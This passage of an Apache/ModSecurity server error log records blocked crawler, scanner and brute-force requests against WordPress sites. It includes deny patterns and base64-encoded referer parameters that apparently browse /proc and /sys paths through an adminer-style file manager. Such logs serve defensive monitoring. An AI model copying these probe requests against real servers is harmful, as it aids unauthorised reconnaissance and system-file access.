oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "blog.wesonline.ng"] [uri "/wp-content/uploads/2025/07/world-hologram-3d-web-overlay-business-woman-with-phone-office-looking-data-fintech-global-futuristic-information-technology-work-trading-worker-with-digital-crypto-ux-scaled.jpg"] [unique_id "ai3z5VWSojQL4F7upKCI5AAA6X4"] [Sat Jun 13 18:20:53.297086 2026] [access_compat:error] [pid 648189:tid 648282] [remote 57.141.14.36:43728] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:53.297436 2026] [access_compat:error] [pid 648189:tid 648282] [remote 57.141.14.36:43728] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:53.313102 2026] [security2:error] [pid 646876:tid 646917] [remote 74.7.242.16:54208] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.242.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3z5dyTkdrNlD40tSHB9AAAISY"], referer: https://www.homs.co.ke/?action=adminer&p=L3Byb2MvNTMxNDkxL25ldA== [Sat Jun 13 18:20:53.313122 2026] [access_compat:error] [pid 646876:tid 646976] [remote 57.141.14.48:36781] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:53.313563 2026] [access_compat:error] [pid 646876:tid 646976] [remote 57.141.14.48:36781] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:53.355459 2026] [security2:error] [pid 648189:tid 648230] [remote 17.246.23.110:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 110.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z5VWSojQL4F7upKCI6QAA7Qo"] [Sat Jun 13 18:20:53.375733 2026] [access_compat:error] [pid 648189:tid 648285] [remote 57.141.14.59:31527] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:53.376119 2026] [access_compat:error] [pid 648189:tid 648285] [remote 57.141.14.59:31527] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:53.440936 2026] [security2:error] [pid 646876:tid 647038] [client 143.244.57.82:33738] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.bbr.ouz.mybluehost.me"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "ai3z5dyTkdrNlD40tSHB-AAAAB4"] [Sat Jun 13 18:20:53.589826 2026] [security2:error] [pid 648189:tid 648317] [remote 17.22.245.38:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 38.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z5VWSojQL4F7upKCI8QAApF8"] [Sat Jun 13 18:20:53.628119 2026] [security2:error] [pid 648189:tid 648270] [remote 17.246.23.22:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 22.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z5VWSojQL4F7upKCI8gAAnDA"] [Sat Jun 13 18:20:53.748301 2026] [security2:error] [pid 646876:tid 646972] [remote 17.241.227.7:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 7.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z5dyTkdrNlD40tSHCAwAAEl0"] [Sat Jun 13 18:20:53.774198 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZS9kcml2ZXIvTE5YU0xQQk46MDAvcG93ZXI= [Sat Jun 13 18:20:53.774651 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZS9kcml2ZXIvTE5YU0xQQk46MDAvcG93ZXI= [Sat Jun 13 18:20:54.012543 2026] [access_compat:error] [pid 646876:tid 646981] [remote 57.141.14.91:48374] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:54.016963 2026] [access_compat:error] [pid 646876:tid 646981] [remote 57.141.14.91:48374] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:54.051219 2026] [security2:error] [pid 646876:tid 647127] [client 143.244.57.82:57572] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.bbr.ouz.mybluehost.me"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "ai3z5tyTkdrNlD40tSHCEAAAAHc"] [Sat Jun 13 18:20:54.134600 2026] [access_compat:error] [pid 648189:tid 648228] [remote 216.73.216.223:14345] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:54.135070 2026] [access_compat:error] [pid 648189:tid 648228] [remote 216.73.216.223:14345] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:54.296788 2026] [access_compat:error] [pid 646876:tid 646951] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:20:54.297072 2026] [access_compat:error] [pid 646876:tid 646951] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:20:54.303624 2026] [security2:error] [pid 648189:tid 648299] [remote 165.245.185.54:33742] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.185.245.165.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.thesevensranch.com"] [uri "/xmlrpc.php"] [unique_id "ai3z5lWSojQL4F7upKCJAgAAsU0"] [Sat Jun 13 18:20:54.303817 2026] [security2:error] [pid 648189:tid 648397] [client 165.245.185.54:33742] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "mail.thesevensranch.com"] [uri "/xmlrpc.php"] [unique_id "ai3z5lWSojQL4F7upKCJAgAAsU0"] [Sat Jun 13 18:20:54.366141 2026] [access_compat:error] [pid 648189:tid 648310] [remote 40.77.167.16:2013] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:54.366418 2026] [access_compat:error] [pid 648189:tid 648310] [remote 40.77.167.16:2013] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:54.431999 2026] [access_compat:error] [pid 646876:tid 646914] [remote 57.141.14.69:39490] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:54.432441 2026] [access_compat:error] [pid 646876:tid 646914] [remote 57.141.14.69:39490] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:54.673096 2026] [access_compat:error] [pid 646876:tid 646895] [remote 57.141.14.106:32905] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:54.673389 2026] [access_compat:error] [pid 646876:tid 646895] [remote 57.141.14.106:32905] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:54.714465 2026] [security2:error] [pid 646876:tid 647074] [client 143.244.57.82:57580] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.bbr.ouz.mybluehost.me"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "ai3z5tyTkdrNlD40tSHCKQAAAEI"] [Sat Jun 13 18:20:54.866695 2026] [access_compat:error] [pid 646876:tid 646935] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZS9zdWJzeXN0ZW0= [Sat Jun 13 18:20:54.867123 2026] [access_compat:error] [pid 646876:tid 646935] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZS9zdWJzeXN0ZW0= [Sat Jun 13 18:20:54.999689 2026] [access_compat:error] [pid 646876:tid 646992] [remote 57.141.14.29:25733] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:55.000190 2026] [access_compat:error] [pid 646876:tid 646992] [remote 57.141.14.29:25733] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:55.092284 2026] [security2:error] [pid 648189:tid 648362] [client 204.12.208.18:59719] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 18.208.12.204.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.sopritti.net"] [uri "/wp-includes/admin.php"] [unique_id "ai3z51WSojQL4F7upKCJHAAAAI4"], referer: https://mail.sopritti.net/wp-includes/admin.php [Sat Jun 13 18:20:55.215987 2026] [access_compat:error] [pid 646876:tid 646973] [remote 57.141.14.104:21036] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:55.216251 2026] [access_compat:error] [pid 646876:tid 646973] [remote 57.141.14.104:21036] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:55.327839 2026] [security2:error] [pid 648189:tid 648408] [client 143.244.57.82:57582] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.bbr.ouz.mybluehost.me"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "ai3z51WSojQL4F7upKCJIQAAALs"] [Sat Jun 13 18:20:55.350380 2026] [security2:error] [pid 648189:tid 648474] [client 47.79.207.74:14216] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 74.207.79.47.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "forum.loohan.com"] [uri "/viewtopic.php"] [unique_id "ai3z51WSojQL4F7upKCJIgAAAPg"], referer: https://www.google.com/ [Sat Jun 13 18:20:55.355363 2026] [access_compat:error] [pid 646876:tid 646932] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ3L2RldmljZS9pbnB1dC9pbnB1dDcvcG93ZXI= [Sat Jun 13 18:20:55.355643 2026] [access_compat:error] [pid 646876:tid 646932] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ3L2RldmljZS9pbnB1dC9pbnB1dDcvcG93ZXI= [Sat Jun 13 18:20:55.482394 2026] [security2:error] [pid 648189:tid 648291] [remote 17.246.15.82:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 82.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z51WSojQL4F7upKCJJgAAkEU"] [Sat Jun 13 18:20:55.551071 2026] [security2:error] [pid 646876:tid 646886] [remote 103.127.30.137:54136] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.30.127.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gkmasterson.com"] [uri "/wp-login.php"] [unique_id "ai3z59yTkdrNlD40tSHCRgAAHQc"] [Sat Jun 13 18:20:55.748661 2026] [access_compat:error] [pid 646876:tid 646956] [remote 57.141.14.41:29383] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:55.748933 2026] [access_compat:error] [pid 646876:tid 646956] [remote 57.141.14.41:29383] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:55.782610 2026] [security2:error] [pid 648189:tid 648237] [remote 17.246.15.30:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 30.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z51WSojQL4F7upKCJLgAA6xA"] [Sat Jun 13 18:20:55.796001 2026] [access_compat:error] [pid 648189:tid 648275] [remote 57.141.14.52:53988] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:55.796271 2026] [access_compat:error] [pid 648189:tid 648275] [remote 57.141.14.52:53988] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:55.888958 2026] [access_compat:error] [pid 646876:tid 646913] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDAvcG93ZXI= [Sat Jun 13 18:20:55.889396 2026] [access_compat:error] [pid 646876:tid 646913] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDAvcG93ZXI= [Sat Jun 13 18:20:55.951349 2026] [security2:error] [pid 646876:tid 647108] [client 143.244.57.82:57586] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.bbr.ouz.mybluehost.me"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "ai3z59yTkdrNlD40tSHCVAAAAGQ"] [Sat Jun 13 18:20:56.087085 2026] [security2:error] [pid 646876:tid 646889] [remote 103.127.30.137:54136] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.30.127.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gkmasterson.com"] [uri "/wp-login.php"] [unique_id "ai3z6NyTkdrNlD40tSHCWQAAEQo"], referer: https://gkmasterson.com/wp-login.php [Sat Jun 13 18:20:56.224641 2026] [access_compat:error] [pid 648189:tid 648260] [remote 57.141.14.108:48079] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:56.225021 2026] [access_compat:error] [pid 648189:tid 648260] [remote 57.141.14.108:48079] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:56.375296 2026] [security2:error] [pid 648189:tid 648471] [client 204.12.208.18:59753] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 18.208.12.204.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.sopritti.net"] [uri "/wp-includes/admin.php"] [unique_id "ai3z6FWSojQL4F7upKCJQgAAAPU"], referer: https://mail.sopritti.net/wp-includes/admin.php [Sat Jun 13 18:20:56.388190 2026] [access_compat:error] [pid 646876:tid 646941] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDQvY2FwYWJpbGl0aWVz [Sat Jun 13 18:20:56.388486 2026] [access_compat:error] [pid 646876:tid 646941] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 